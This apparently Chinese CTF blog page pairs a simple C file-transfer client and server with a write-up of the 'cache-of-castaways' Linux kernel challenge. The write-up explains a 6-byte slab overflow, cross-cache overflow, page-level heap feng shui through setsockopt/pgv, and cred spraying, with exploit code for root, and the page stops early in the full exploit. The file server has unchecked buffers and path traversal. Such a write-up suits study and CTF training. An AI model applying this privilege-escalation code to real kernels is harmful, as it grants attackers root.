0%

基础信息

为了完成工程实践项目写的测试程序

第一版的程序比较简单,只是完成了 “文件上传” 和 “文件下载” 的基础功能,之后更详细的功能都在此版本上进行实现

在下一版本会实现 “目录切换” 的功能,并完成多线程(如果有时间可以弄一个条件竞争的在这里,具体的思路就是 RWCTF2023 NonHeavyFTP,在全局变量中设置服务器根目录,然后通过条件竞争完成逃逸)

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<unistd.h>
#include<arpa/inet.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<netinet/in.h>

#define MAXLINE 4096
#define PORT 2345

void doPull(char* filename, int sockfd){
int n;
char rev[0x200];
FILE* fp;

fp = fopen(filename,"w");
if(fp){
memset(rev,0,sizeof(rev));
n = recv(sockfd, rev, sizeof(rev), 0);
fwrite(rev, 1, n, fp);
}
fflush(fp);
fclose(fp);
}

void doPush(char* filename, int sockfd){
int n,i;
char sed[0x200];
struct stat st;
FILE* fp;

sprintf(sed,"./%s",filename);
if(stat(sed,&st)<0){
printf("File %s not find\n",filename);
if(send(sockfd, "File not find", 13, 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
return;
}
else{
printf("Find the flie %s\n",filename);
strcpy(sed,"Try to upload the flie");
if(send(sockfd, "Try to upload the flie", 22, 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
}

fp = fopen(filename,"r");
if(fp){
memset(sed,0,sizeof(sed));
for(i=0;i < sizeof(sed);i++){
n = fread(&sed[i], 1, 1, fp);
if(n == 0){
break;
}
}
send(sockfd, sed, i, 0);
}
fflush(fp);
fclose(fp);
}

int main(int argc, char** argv)
{
int sockfd, n;
char rev[0x200], cmd[0x100], temp[0x80], filename[0x40];
struct sockaddr_in servaddr;
struct sockaddr_in clieaddr;

if(argc != 2){
printf("usage: ./client <ipaddress>\n");
exit(0);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("create socket error: %s(errno: %d)\n", strerror(errno),errno);
exit(0);
}
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(6666);

if(inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0){
printf("inet_pton error for %s\n",argv[1]);
exit(0);
}
if(connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0){
printf("connect error: %s(errno: %d)\n",strerror(errno),errno);
exit(0);
}
else{
printf("connect success: %s\n",argv[1]);
}
memset(&clieaddr, 0, sizeof(clieaddr));
clieaddr.sin_family = AF_INET;
clieaddr.sin_port = htons(PORT);
clieaddr.sin_addr.s_addr = htons(INADDR_ANY);

while(1){
write(1,"$ ",0x2);
n = read(0,cmd,0x100);
cmd[n-1] = '\0';
if(strlen(cmd) == 0){
continue;
}
if(send(sockfd, cmd, strlen(cmd), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
memset(rev,0,sizeof(rev));
if(recv(sockfd, rev, sizeof(rev), 0) < 0) {
printf("recv msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
write(1,rev,strlen(rev));
if(!strcmp("The connection has been closed\n",rev)){
puts("Client closed");
break;
}
if(!strncmp("Start download file: ",rev,20)){
strcpy(filename,&rev[21]);
filename[strlen(filename)-1] = 0;
printf("Target file: %s\n",filename);
doPull(filename,sockfd);
printf("The file has been downloaded\n");
}
if(!strncmp("Try to upload file: ",rev,19)){
strcpy(filename,&rev[20]);
filename[strlen(filename)-1] = 0;
printf("Target file: %s\n",filename);
doPush(filename,sockfd);
printf("The file has been uploaded\n");
}
}

close(sockfd);
exit(0);
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<unistd.h>
#include<arpa/inet.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<netinet/in.h>
#include<dirent.h>

#define MAXLINE 4096
#define PORT 6666
#define LISTENQ 1024
#define ROOTDIR "./root"

enum CMD{LS,PULL,PUSH,HELP,EXIT,NUL};

int cmdChange(char* buf){
if(!strncmp("ls",buf,2) || !strncmp("LS",buf,2)){
return LS;
}else if(!strncmp("pull",buf,4) || !strncmp("PULL",buf,4)){
return PULL;
}else if(!strncmp("push",buf,4) || !strncmp("PUSH",buf,4)){
return PUSH;
}else if(!strncmp("help",buf,4) || !strncmp("HELP",buf,4)){
return HELP;
}else if(!strncmp("exit",buf,4) || !strncmp("EXIT",buf,4)){
return EXIT;
}else{
return NUL;
}
}

int cmdHander(int connfd,struct sockaddr_in clieaddr){
int n,i,cmd;
FILE* fp;
struct stat st;
char buf[0x100], info[0x200], temp[0x80];
char* filename;

while(1){
memset(buf,0,sizeof(buf));
memset(info,0,sizeof(info));
n = recv(connfd, buf, MAXLINE, 0);
buf[n] = '\0';
printf("client cmd:%s\n", buf);
cmd = cmdChange(buf);

switch(cmd){
case LS:
sprintf(temp,"ls %s -l",ROOTDIR);
fp = popen(temp,"r");
if(fp == NULL){
printf("popen error\n");
exit(0);
}
while(fgets(temp, sizeof(temp), fp) > 0){
strcat(info,temp);
}
if(strlen(info) == 0){
sprintf(info,"(null)\n");
}
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
case PULL:
strtok(buf," ");
filename = strtok(NULL," ");
if(filename == NULL){
sprintf(info,"CMD[PULL] need parameter <filename>\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
}
sprintf(temp,"%s/%s",ROOTDIR,filename);
if(stat(temp,&st)<0){
sprintf(info,"File %s not find\n",filename);
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
}
sprintf(info,"Start download file: %s\n",filename);
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
fp = fopen(temp,"r");
if(fp){
memset(info,0,sizeof(info));
for(i=0;i < sizeof(info);i++){
n = fread(&info[i], 1, 1, fp);
if(n == 0){
break;
}
}
send(connfd, info, i, 0);
}
else{
sprintf(info,"Something error\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
}
printf("client %s:%d had downloaded file %s\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port),filename);
fclose(fp);
break;
case PUSH:
strtok(buf," ");
filename = strtok(NULL," ");
if(filename == NULL){
sprintf(info,"CMD[PUSH] need parameter <filename>\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
}
sprintf(info,"Try to upload file: %s\n",filename);
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
memset(info,0,sizeof(info));
if(recv(connfd, info, sizeof(info), 0) < 0) {
printf("recv msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
if(!strcmp("Try to upload the flie",info)){
sprintf(temp,"%s/%s",ROOTDIR,filename);
fp = fopen(temp,"w");
if(fp){
memset(info,0,sizeof(info));
n = recv(connfd, info, sizeof(info), 0);
fwrite(info, 1, n, fp);
}
fflush(fp);
fclose(fp);
printf("client %s:%d success to upload file %s\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port),filename);
}
else if(!strcmp("File not find",info)){
printf("client %s:%d failed to upload file\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port));
}
break;
case HELP:
sprintf(info,"<---------------------------------------->\n");
strcat(info,"1.LS: Show the file you can PULL\n");
strcat(info,"2.PULL <filename>: Download <filename> from the server\n");
strcat(info,"3.PUSH <filename>: Upload <filename> to the server\n");
strcat(info,"4.EXIT: Close the connection to the server\n");
strcat(info,"<---------------------------------------->\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
case EXIT:
sprintf(info,"The connection has been closed\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
return close(connfd);
case NUL:
sprintf(info,"CMD[%s] is not find, please use CMD[help]\n",buf);
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
default:
sprintf(info,"Something error\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
}
}
}

int initRoot(){
struct stat st;
if(stat(ROOTDIR,&st)<0){
printf("The Rootdir %s not find\n",ROOTDIR);
printf("Creating %s now\n",ROOTDIR);
mkdir(ROOTDIR,0777);
}
}

int main(int argc, char** argv)
{
int listenfd, connfd;
struct sockaddr_in servaddr,clieaddr;
struct sockaddr_in listendAddr;
char ipAddr[INET_ADDRSTRLEN];
int len;

initRoot();

if( (listenfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 )
{
printf("create socket error: %s(errno: %d)\n",strerror(errno),errno);
exit(0);
}
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(PORT);

int opt = 1;
setsockopt(listenfd,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt));
if( bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) == -1)
{
printf("bind socket error: %s(errno: %d)\n",strerror(errno),errno);
exit(0);
}
if( listen(listenfd, LISTENQ) == -1)
{
printf("listen socket error: %s(errno: %d)\n",strerror(errno),errno);
exit(0);
}

len = sizeof(listendAddr);
if(getsockname(listenfd, (struct sockaddr *)&listendAddr, &len) == -1){
printf("getsockname error\n");
exit(0);
}
printf("listen address = %s:%d\n", inet_ntoa(listendAddr.sin_addr), ntohs(listendAddr.sin_port));

while(1)
{
if( (connfd = accept(listenfd, (struct sockaddr*)NULL, NULL)) == -1){
printf("accept socket error: %s(errno: %d)",strerror(errno),errno);
continue;
}

memset(&clieaddr, 0, sizeof(clieaddr));
len = sizeof(clieaddr);
if(getpeername(connfd, (struct sockaddr *)&clieaddr, &len) == -1){
printf("getpeername error");
exit(0);
}
printf("client %s:%d try to connect\n", inet_ntop(AF_INET, &clieaddr.sin_addr, ipAddr, sizeof(ipAddr)), ntohs(clieaddr.sin_port));
cmdHander(connfd,clieaddr);
printf("client %s:%d is closed\n", inet_ntop(AF_INET, &clieaddr.sin_addr, ipAddr, sizeof(ipAddr)), ntohs(clieaddr.sin_port));
}
close(listenfd);
}

cache-of-castaways

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 4096M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
-netdev user,id=net \
-device e1000,netdev=net \
-no-reboot \
-monitor /dev/null \
-cpu qemu64,+smep,+smap \
-initrd ./rootfs.cpio
  • smap,smep,pti
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/sh

export PS1='\[\033[01;35m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
export PATH=/bin

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /run ] || mkdir /run
[ -d /root ] || mkdir /root
[ -d /etc ] || mkdir /etc
[ -d /home ] || mkdir /home

echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd
echo 'root:x:0:' > /etc/group
chmod 644 /etc/passwd
chmod 644 /etc/group

adduser ctf --disabled-password 2>/dev/null

chown -R root:root /
chmod 700 -R /root

insmod /cache_of_castaway.ko

chown ctf:ctf /home/ctf
chmod 777 /home/ctf
chmod 755 /dev
chmod 777 -R /tmp

mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev

mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true

ln -sf /proc/mounts /etc/mtab
chmod 666 /dev/castaway

ip link set eth0 up
udhcpc -i eth0 -s /etc/udhcp/simple.script 1>/dev/null 2>/dev/null

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid

echo "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

cat /etc/motd

cd /home/ctf

setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys

poweroff -d 1 -n -f%
  • kptr_restrict
  • dmesg_restrict
  • perf_event_paranoid

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall castaway_ioctl(FILE *fd, int cmd, void *args)
{
__int64 index; // r12
char **chunk; // rbx
Node input; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-18h]

canary = __readgsqword(0x28u);
if ( cmd == 0xCAFEBABE ) // KALLOC
{
mutex_lock(&castaway_lock);
index = castaway_ctr;
if ( castaway_ctr <= 0x18F )
{
++castaway_ctr;
chunk = &castaway_arr[index];
*chunk = (char *)kmem_cache_alloc(castaway_cachep, 0x400DC0LL);// 0x200
if ( castaway_arr[index] )
goto LABEL_5;
}
castaway_ioctl_cold();
}
else if ( !copy_from_user(&input, args, 0x18LL) )// KWRITE
{
mutex_lock(&castaway_lock);
if ( cmd == 0xF00DBABE )
castaway_edit(input.index, input.size, input.ptr);
LABEL_5:
mutex_unlock(&castaway_lock);
}
}
  • 这里的 castaway_cachep 是程序自己分配的 kmem_cache,并且创建 flag 为 SLAB_ACCOUNT,同时开启了 CONFIG_MEMCG_KMEM=y
  • 这意味着这是一个独立的 kmem_cache(与内核自带的 kmem_cache-512 相独立,二者不会相互干扰)
1
2
3
4
5
#ifdef CONFIG_MEMCG_KMEM
# define SLAB_ACCOUNT ((slab_flags_t __force)0x04000000U)
#else
# define SLAB_ACCOUNT 0
#endif

内核分配 kmem_cache 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void init_module()
{
castaway_dev = 0xFF;
qword_8A8 = (__int64)"castaway";
qword_8B0 = (__int64)&castaway_fops;
_mutex_init(&castaway_lock, "&castaway_lock", &_key_28999);
if ( !(unsigned int)misc_register(&castaway_dev) )
{
castaway_arr = (char **)kmem_cache_alloc(kmalloc_caches[12], 0xDC0LL);
if ( castaway_arr )
{
castaway_cachep = kmem_cache_create("castaway_cache", 0x200LL, 1LL, 0x4040000LL, 0LL);
if ( castaway_cachep )
init_castaway_driver_cold();
}
}
}

本题目的漏洞就在 castaway_edit 函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall castaway_edit(unsigned __int64 index, size_t size, void *from)
{
char to[512]; // [rsp+0h] [rbp-220h] BYREF
unsigned __int64 v5; // [rsp+200h] [rbp-20h]

v5 = __readgsqword(0x28u);
if ( index > 0x18F
|| !castaway_arr[index]
|| size > 0x200
|| (_check_object_size(to, size, 0LL), copy_from_user(to, from, size)) )
{
castaway_edit_cold();
}
else
{
memcpy(castaway_arr[index] + 6, to, size); // 6字节溢出
}
}
  • 有6字节的堆溢出,但是该 kmem_cache 是独立的,它上边的 object 很难溢出到内核自带的 kmem_cache-512 上
  • 于是需要另一个技术:Cross-Cache Overflow

Cross-Cache Overflow

Cross-Cache Overflow 本质上是针对 buddy system 完成对 slub 攻击的利用手法

伙伴系统 buddy system 的机制如下:

  • 把系统中要管理的物理内存按照页面个数分为了11个组,分别对应11种大小不同的连续内存块,每组中的内存块大小都相等,且必须是2的n次幂 (Pow(2, n)),即 1, 2, 4, 8, 16, 32, 64, 128 … 1024
  • 那么系统中就存在 2^0~2^10 这么11种大小不同的内存块,对应内存块大小为 4KB ~ 4M,内核用11个链表来管理11种大小不同的内存块(这11个双向链表都存储在 free_area 中)
  • 在操作内存时,经常将这些内存块分成大小相等的两个块,分成的两个内存块被称为伙伴块,采用 “一位二进制数” 来表示它们的伙伴关系(这个 “一位二进制数” 存储在位图 bitmap 中)
  • 系统根据该位为 “0” 或位为 “1” 来决定是否使用或者分配该页面块,系统每次分配和回收伙伴块时都要对它们的伙伴位跟 “1” 进行异或运算

Cross-Cache Overflow 就是为了实现跨 kmem_cache 溢出的利用手法:

  • slub 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者
  • 但内存中用作不同 kmem_cache 的页面在内存上是有可能相邻的
  • 若我们的漏洞对象存在于页面 A,溢出目标对象存在于页面 B,且 A,B 两页面相邻,则我们便有可能实现跨越不同 kmem_cache 之间的堆溢出

Cross-Cache Overflow 需要两个 page 相邻排版,此时又需要使用另一个技术:页级堆风水

页级堆风水

页级堆风水即以内存页为粒度的内存排布方式,而内核内存页的排布对我们来说不仅未知且信息量巨大,因此这种利用手法实际上是让我们手工构造一个新的已知的页级粒度内存页排布

伙伴系统采用一个双向链表数组 free_area 来管理各个空闲块,在分配 page 时有如下的逻辑:

  • free_area 的每个条目都是一个用于管理 2^n 大小空闲块的双向链表,每个 free_area[x] 都有一个 map 位图(用于表示各个伙伴块的关系)

1653447102092

  • 当一个 m page 大小的空间将要被申请时,伙伴系统会首先在 free_area[n] 中查找(刚好满足条件的最小 n)
  • 如果 free_area[n] 中有合适的内存块就直接分配出去,如果没有就继续在 free_area[n+1] 中查找
  • 如果 free_area[n+1] 中有合适的内存块,就会将其均分为两份:
    • 其中一份分配出去
    • 另一个插入 free_area[n] 中
  • 如果 free_area[n+1] 中也没有合适的内存块,则重复上面的过程,如果到达 free_area 数组的末端则放弃分配
  • 如果在 bitmap 中检测到有两个伙伴块都处于空闲状态,则会进行合并,然后插入上级链表

通过伙伴系统的分配流程我们可以发现:互为伙伴块的两片内存块一定是连续的

从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的,由此我们可以:

  • 向 buddy system 请求两份连续的内存页
  • 释放其中一份内存页,在 vulnerable kmem_cache 上堆喷,让其取走这份内存页
  • 释放另一份内存页,在 victim kmem_cache 上堆喷,让其取走这份内存页

这样就可以保证 vulnerable kmem_cachevictim kmem_cache 就一定是连续的

如果想要完成上述操作,就需要使用 setsockopt 与 pgv 完成页级内存占位与堆风水

setsockopt + pgv

函数 setsockopt 用于任意类型,任意状态套接口的设置选项值,其函数原型如下:

1
int setsockopt( int socket, int level, int option_name,const void *option_value, size_t ption_len);
  • socket:套接字
  • level:被设置的选项的级别(如果想要在套接字级别上设置选项,就必须把 level 设置为 SOL_SOCKET)
  • option_name:指定准备设置的“选项”
  • option_value:指向存放选项值的缓冲区(用于设置所选“选项”的值)
  • ption_len:缓冲区的长度
  • 返回值:若无错误发生返回 “0”,否则返回 SOCKET_ERROR 错误(应用程序可通过 WSAGetLastError() 获取相应错误代码)

利用步骤如下:

  • 创建一个 protocol 为 PF_PACKET 的 socket
1
socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
  • 先调用 setsockoptPACKET_VERSION 设为 TPACKET_V1 / TPACKET_V2()
1
setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
  • 再调用 setsockopt 提交一个 PACKET_TX_RING
1
2
3
4
5
6
req.tp_block_size = size;
req.tp_block_nr = nr;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));

此时便存在如下调用链:

1
2
3
4
5
__sys_setsockopt()
sock->ops->setsockopt()
packet_setsockopt() // case PACKET_TX_RING ↓
packet_set_ring()
alloc_pg_vec()
  • alloc_pg_vec 中会创建一个 pgv 结构体,用以分配 tp_block_nr 份 2^order 大小的内存页,其中 ordertp_block_size 决定
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;

pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;

for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}

out:
return pg_vec;

out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}
  • alloc_one_pg_vec_page 中会直接调用 __get_free_pages 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求

当我们耗尽 buddy system 中的 low order page 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt 便相当于获取到了一块近乎物理连续的内存:

  • 不能分配 low order page 时,程序就会从上一级的 free_area 中分配一个内存块
  • 然后等分为两个 low order page,这两个 low order page 就是物理连续的
  • setsockopt 的流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面,产生“噪声”

具体的操作就是利用 setsockopt 申请大量的 1 page 内存块,部分 setsockopt 用于耗尽 low order page,而剩下的就有几率成为连续内存

入侵思路

其实入侵的思路很简单:就是通过这6字节的溢出来覆盖 cred 从而实现提权

结构体 cred 所使用的 kmem_cachecred_jar

  • cred 的大小为 192
  • cred_jar 向 buddy system 单次请求 1 page 大小的内存块,足够分配21个 cred
  • 利用系统调用 clone 可以申请新的 cred,从而耗尽 cred_jar

具体的利用思路如下:

  • 先分配大量的单张内存页,耗尽 buddy 中的 low order page
  • 间隔一张内存页释放掉部分单张内存页,之后堆喷 cred,这样便有几率获取到我们释放的单张内存页
  • 释放掉之前的间隔内存页,调用漏洞函数分配堆块,这样便有几率获取到我们释放的间隔内存页
  • 而间隔的两张内存页又有几率互为伙伴(物理地址连续)
  • 最后利用模块中漏洞进行越界写,篡改 cred->uid ,完成提权

我们先利用 setsockopt 申请大量的 1 page 内存块,参考函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define PACKET_VERSION 10
#define PACKET_TX_RING 13

int use_setsockopt_alloc_page(void){
struct tpacket_req req = {
.tp_block_size = 0x1000,
.tp_block_nr = 1,
.tp_frame_size = 0x1000,
.tp_frame_nr = 1,
};
int socket_fd, version, ret;

socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socket_fd < 0) {
return 0;
}
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
if(ret < 0){
errPrint("setsockopt version error");
}
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
if(ret < 0){
errPrint("setsockopt req error");
}
return socket_fd;
}
  • 低权限用户无法使用上述函数,但是我们可以通过开辟新的命名空间来绕过该限制
  • 这里需要注意的是我们提权的进程不应当和页喷射的进程在同一命名空间内,因为要在原本的命名空间完成提权
  • 因此选择 fork 一个子进程,然后在子进程中开辟命名空间并完成页喷射(通过管道完成父子进程通信)

开辟命令空间的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

使用系统调用 clone 来耗尽 cred_jar 的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi; " /* save the rsi*/
" xor rsi, rsi; " /* set esp and useless args to NULL */
" xor rdx, rdx; "
" xor r10, r10; "
" xor r8, r8; "
" xor r9, r9; "
" mov rax, 56; " /* __NR_clone */
" syscall; "
" cmp rax, 0; "
" je child_fn; "
" ret; " /* parent */
"child_fn: "
" jmp r15; " /* child */
);
}
  • 本进程的 cred 我们是没有机会覆盖的,我们只能覆盖 clone 进程的 cred
  • 然后在主进程中触发溢出去覆盖 clone 进程的 cred,在 clone 进程里面尝试 get root
  • clone 后的父进程 ret,子进程则跳转到函数指针 fn,并在该函数中等待 root 权限

等待 root 权限的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int waiting_for_root_fn(void *args)
{
__asm__ volatile (
" lea rax, [check_root_pipe]; "
" xor rdi, rdi; "
" mov edi, dword ptr [rax]; "
" mov rsi, child_pipe_buf; "
" mov rdx, 1; "
" xor rax, rax; "
" syscall; " /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" mov rax, 102; "
" syscall; " /* getuid() */
" cmp rax, 0; "
" jne failed; "
" mov rdi, 1; "
" lea rsi, [root_str]; "
" mov rdx, 80; "
" mov rax, 1;"
" syscall; " /* write(1, root_str, 71) */
" lea rdi, [bin_sh_str]; "
" lea rsi, [shell_args]; "
" xor rdx, rdx; "
" mov rax, 59; "
" syscall; " /* execve("/bin/sh", args, NULL) */
"failed: "
" lea rdi, [timer]; "
" xor rsi, rsi; "
" mov rax, 35; "
" syscall; " /* nanosleep() */
);

return 0;
}

最后组合一下就可以完成 exp 了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <assert.h>
#include <time.h>
#include <sys/socket.h>
#include <stdbool.h>

#define KALLOC 0xcafebabe
#define KWRITE 0xf00dbabe
#define PGV_PAGE_NUM 0x1000

#define PACKET_VERSION 10
#define PACKET_TX_RING 13

enum {
CMD_ALLOC_PAGE,
CMD_FREE_PAGE,
CMD_EXIT,
};

int fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "root";
int socket_fd[PGV_PAGE_NUM];

struct timespec timer = {
